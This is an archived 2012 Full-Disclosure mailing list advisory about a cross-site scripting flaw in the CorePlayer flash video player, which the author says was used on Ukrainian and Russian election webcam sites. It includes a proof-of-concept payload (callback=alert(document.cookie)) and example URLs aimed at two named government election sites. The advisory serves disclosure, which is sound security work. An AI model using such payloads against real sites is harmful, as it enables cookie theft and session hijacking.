full-disclosure - Cross-Site Scripting vulnerability in CorePlayer

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <005501cdb557$337ec2a0$9b7a6fd5@ml>
Date: Sun, 28 Oct 2012 23:56:38 +0200
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: Cross-Site Scripting vulnerability in CorePlayer

Hello list!

I want to warn you about Cross-Site Scripting vulnerability in CorePlayer.

This is the same flash video player, which was used at online voting
translations - today, 28.10.2012, on parliamentary elections in Ukraine and
earlier this year on presidential elections in Russia.

Concerning elections in Ukraine. At spending 993.6 million gryvnas (approx.
$124.2 million) for webcam setup (including development of web site for
online translations), they haven't found money for security.

-------------------------
Affected products:
-------------------------

Vulnerable are CorePlayer 4.0.6 and previous versions. At web site
webvybory2012.ru version 1.3.2 is used and at web site vybory2012.gov.ua
version 4.0.6 is used.

----------
Details:
----------

XSS (WASC-08):

http://site/core_player.swf?callback=alert(document.cookie)

Examples:

http://vybory2012.gov.ua/js/elections/lib/core-player/build/core_player.swf?callback=alert(document.cookie)

http://webvybory2012.ru/flash/core-player.swf?callback=alert(document.cookie)

I mentioned about this vulnerability at my site
(http://websecurity.com.ua/6117/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/